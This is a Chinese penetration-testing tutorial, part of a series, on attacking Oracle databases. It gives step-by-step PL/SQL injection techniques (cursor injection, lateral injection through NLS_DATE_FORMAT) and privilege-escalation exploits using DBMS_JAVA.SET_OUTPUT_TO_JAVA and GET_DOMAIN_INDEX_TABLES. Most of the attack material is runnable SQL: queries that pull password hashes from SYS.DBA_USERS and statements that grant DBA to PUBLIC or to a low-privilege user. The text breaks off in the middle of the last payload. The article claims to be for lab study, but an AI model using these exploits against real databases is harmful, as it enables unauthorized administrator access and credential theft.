行业新闻

渗透测试之地基服务篇:服务攻防之数据库Oracle(下)

渗透测试之地基服务篇:服务攻防之数据库Oracle(下)

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

数据库作为业务平台信息技术的核心和基础,承载着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,数据库的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的数据库中往往储存着等极其重要和敏感的信息。这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。

通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!

如果连Oracle都不会提权,怎么进行下一步的研究Oracle数据库安全!怎么拿下对方服务器?

二、PL/SQL Injection

PL/SQL 是Oracle公司在标准SQL语言的基础上进行扩展,可以在数据库上进行设计编程的一种过程化的语言,类似程序语言JAVA一样可以实现逻辑判断、条件循环、异常处理等细节操作,可以处理复杂性问题。

PL/SQL通常有以下用途:

创建存储过程
创建函数
创建触发器
创建对象
…

需要注意的一点是PL/SQL的执行权限,这个非常重要,说到这个就不得不提到AUTHID CURRENT_USER:

1、如果PL/SQL使用AUTHID CURRENT_USER关键词创建,那么在它执行时会以调用者(invoker)的权限来执行
2、如果没有这个关键词,那么在它执行时会以它的定义者(definer)的权限来执行

还有最重要的一点,Oracle不支持堆叠注入(多语句执行)

至于PL/SQL注入是什么,其实原理就是类似于SQL注入,但利用时有一些oracle自身的特性是需要注意的,看了下面例子差不多就明白了

1、Cursor Injection

先来看下面这个procedure,由DBA(SYS)创建,并赋予public执行权限,也就是说数据库能所有用户都可以调用这个procedure

由于没有声明AUTHID CURRENT_USER,所以该存储进程执行时的权限是其定义者(definer),也就是SYS:

CONNECT / AS SYSDBA;

CREATE OR REPLACE PROCEDURE GET_OWNER (P_OBJNM VARCHAR) IS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFFER VARCHAR2(200);
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
OPEN CV FOR 'SELECT OWNER FROM ALL_OBJECTS
WHERE OBJECT_NAME = ''' || P_OBJNM ||'''';
LOOP
FETCH CV INTO BUFFER;
DBMS_OUTPUT.PUT_LINE(BUFFER);
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;
END;
/

GRANT EXECUTE ON GET_OWNER TO PUBLIC;

1626490303_60f245bfd267aee595359.png?1626490304435

很明显P_OBJNM是存在SQL注入的,但由于Oracle不支持堆叠查询,我们只能够使用联合查询来注出一些数据,但仅仅查数据肯定不能满足我们的需求。

set serveroutput on;
exec SYS.GET_OWNER('AAA'' union select PASSWORD from SYS.DBA_USERS --');

我们可以创建一个执行其他命令的函数(需要CREATE PROCEDURE权限),并且加上AUTHID CURRENT_USER,然后用||将函数注入到SQL语句中,当SQL语句以SYS权限执行时,这个被注入的函数作为SQL语句的一部分也会被执行:

CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR AUTHID
CURRENT_USER IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';
RETURN 'GOT_DBA_PRIVS';
END;
/ 

exec SYS.GET_OWNER('AAA''||TEST5.GET_DBA --');

1626490311_60f245c71e00e46eab630.png?1626490311668

在这里的GET_DBA这种函数被称为辅助注入函数,如果我们没有办法自己创建辅助注入函数的话,就要寻找oracle上已经存在的、可以辅助注入的函数。其它的可以看这里:

https://www.t00ls.net/articles-23609.html

http://www.davidlitchfield.com/HackingAurora.pdf

2、Lateral SQL Injection

这个是Oracle SQL注入的另一种利用手法,与我们通常理解的Web或代码层面SQL注入不太一样,它主要针对以下两种情况:

Procedure不接收用户输入的参数(参数不可控)
Procedure中SQL语句拼接的参数被定义为NUMBER或DATA类型

先看下面这个存储过程,它接收一个日期类型的参数,并将参数动态拼接入SQL语句:

create or replace procedure date_proc_2 (p_date DATE) is
stmt varchar2(200);
begin
stmt:='select object_name from all_objects where created = ''' || p_date || '''';
dbms_output.put_line(stmt);
execute immediate stmt;
end;
/ 

1626490321_60f245d18a3de5ad33278.png?1626490321850先来尝试注入一下:

exec date_proc_2('11''||TEST5.GET_DBA --');

1626490326_60f245d60ad9c16f87d89.png?1626490326387直接GG,通常这种情况可能被认为无法注入,但如果我们有ALTER SESSION权限的话,就可以欺骗PL/SQL编译器将任意SQL语句作为日期类型(其实原本这个功能是用来修改日期类型的格式的)

ALTER SESSION SET NLS_DATE_FORMAT = '"'' and TEST6.GET_DBA()=1--"';

-- 然后注入获取DBA
exec SYS.date_proc_2(''' and TEST6.GET_DBA()=1--');

set role dba;

如图所示:
1626490331_60f245dbb8d67e6cf06be.png?1626490332098再来看这样一个存储进程,它不接收任何参数,拼接入SQL语句中的参数从sysdate中获取:

create or replace procedure date_proc is
stmt varchar2(200);
v_date date:=sysdate;
begin
stmt:='select object_name from all_objects where created = ''' || v_date || '''';
dbms_output.put_line(stmt);
execute immediate stmt;
end;
/ 

1626490336_60f245e058541fc00bc93.png?1626490336621

我们故技重施,去污染date类型:

select SYSDATE from dual;

ALTER SESSION SET NLS_DATE_FORMAT = '"THIS IS A SINGLE QUOTE ''"';
select SYSDATE from dual;

1626490341_60f245e53709cf2e2d9f4.png?1626490341802可以看到成功添加一个单引号进去,此时我们再去执行上面的Procedure,会得到一个单引号未正常闭合的报错:

exec SYS.DATE_PROC();

1626490464_60f2466041dd380a9f62b.png?1626490464989那么我们是否能够将语句成功注入进去呢?答案是暂时还不行,因为date类型限制了长度,如下图:

ALTER SESSION SET NLS_DATE_FORMAT = '"THIS IS A SINGLE QUOTE ''aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"';

1626490469_60f24665b832cf544a5e7.png?1626490470197但是oracle有个游标(可以理解为给你的语句一个ID,然后执行的时候直接通过ID执行即可)正好可以被我们所利用
关于游标可参考:
https://www.cnblogs.com/huyong/archive/2011/05/04/2036377.html

set serveroutput on;

DECLARE
N NUMBER;
BEGIN
N:=DBMS_SQL.OPEN_CURSOR();
DBMS_SQL.PARSE(N,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN
EXECUTE IMMEDIATE ''GRANT DBA TO TEST5''; END;',0);
DBMS_OUTPUT.PUT_LINE('Cursor is: '|| N);
END;
/ 

1626490477_60f2466dcb66d846bc224.png?1626490478146注意开启输出,不然无法打印游标号!!

之后就是污染date类型,进而实现SQL注入:

ALTER SESSION SET NLS_DATE_FORMAT = '"'' AND DBMS_SQL.EXECUTE(1)=1--"';

-- 此时再执行Procedure
exec SYS.DATE_PROC();

这里停止了,较为深入!!

三、权限提升

1、SET_OUTPUT_TO_JAVA

测试环境: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit
权限要求:CREATE SESSION

利用DBMS_JAVA.SET_OUTPUT_TO_JAVA()函数的特性来提升只拥有CREATE SESSION的用户的权限

1)原理

该函数可以利用前面提到的Lateral SQL Injection来进行注入,进而获取DBA权限,先来看他的参数:
1626490492_60f2467cb9d04470faa2a.png?1626490493091其中后两个参数允许我们传入SQL语句

这个函数允许用户在另一个新的虚拟session中重定向java输出写入到System.out和System.err,最后两个参数的SQL语句将在这个新session中执行

如果攻击者可以得到一个属于SYS的使用java的package并将它写入System.out和System.err,那么这个新会话的所属者就是SYS,进而所执行的SQL语句也将以SYS权限执行

而DBMS_CDC_ISUBSCRIBE正是一个符合条件package,它可被public执行,属于SYS并且是definer权限执行,通过将无效的订阅名传递给这个包的e INT_PURGE_WINDOW过程,则可以将错误强制写入System.err,随后将以SYS权限执行前一个请求的参数中提供的SQL语句

2)利用

创建普通用户:

create user 用户名 identified by 密码
create user dayu identified by dayu123;

1626490499_60f246839992882b3b7db.png?1626490499757给用户连接赋予权限:

grant 权限 to 用户;

grant create session to dayu;
#connect,resource 是角色,角色有多个权限
CREATE PROCEDURE

1626490503_60f246876d2b65c2700d0.png?1626490503575

切换用户:

connect user/passwrod;
connect dayu/dayu123;

1626490508_60f2468c2430749cefb64.png?1626490508248

简单查看权限:

select * from user_role_privs;
select t.DEFAULT_ROLE from user_role_privs t where t.granted_role='DBA';

1626490512_60f246901d27710b05daf.png?1626490512304

开始提权:

-- 注意替换GRANT语句中的用户名
SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbms/DbmsJava','SYS','writeOutputToFile','TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO dayu''; END;', 'BEGIN NULL; END;') FROM DUAL;

-- 这句执行会报错,但不影响结果
EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE());

-- 这句其实要不要都行,不执行的话直接grant赋权也行
set role dba;

1626490518_60f246962bf620036cdce.png?1626490518634

1626490522_60f2469a52167b0b6dd19.png?1626490524451
1626490525_60f2469daf6eb4fcbf26b.png?1626490526450

大佬是提权成功了!!!

2、GET_DOMAIN_INDEX_TABLES

影响版本:Oracle Database = 10g R2 (未打补丁的情况下)
测试环境: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit
权限要求:CREATE SESSION

这个利用的是PL/SQL Injection来提升权限

1)原理

先来看SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES这个函数的定义:

FUNCTION GET_DOMAIN_INDEX_TABLES (  
TYPE_NAME IN VARCHAR2,  
TYPE_SCHEMA IN VARCHAR2,  
...
BEGIN  
IF GET_TABLES = 1 THEN  
GETTABLENAMES_CONTEXT := 0;
...
ELSE  
STMTSTRING :=  
'BEGIN ' ||  
'"' || TYPE_SCHEMA || '"."' || TYPE_NAME ||  
'".ODCIIndexUtilCleanup(:p1); ' ||  
'END;';  
DBMS_SQL.PARSE(CRS, STMTSTRING, DBMS_SYS_SQL.V7);  
DBMS_SQL.BIND_VARIABLE(CRS,':p1',GETTABLENAMES_CONTEXT);  
DUMMY := DBMS_SQL.EXECUTE(CRS);  
DBMS_SQL.CLOSE_CURSOR(CRS);  
STMTSTRING := '';
...

可以看到当GET_TABLES != 1时,TYPE_NAME和TYPE_SCHEMA被直接动态拼接进PL/SQL语句中并执行

由于这个函数是以definer权限来执行的,所以我们注入的语句也会以SYS权限来执行

因此我们构造语句,传入参数TYPE_NAME:

DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to test2
关闭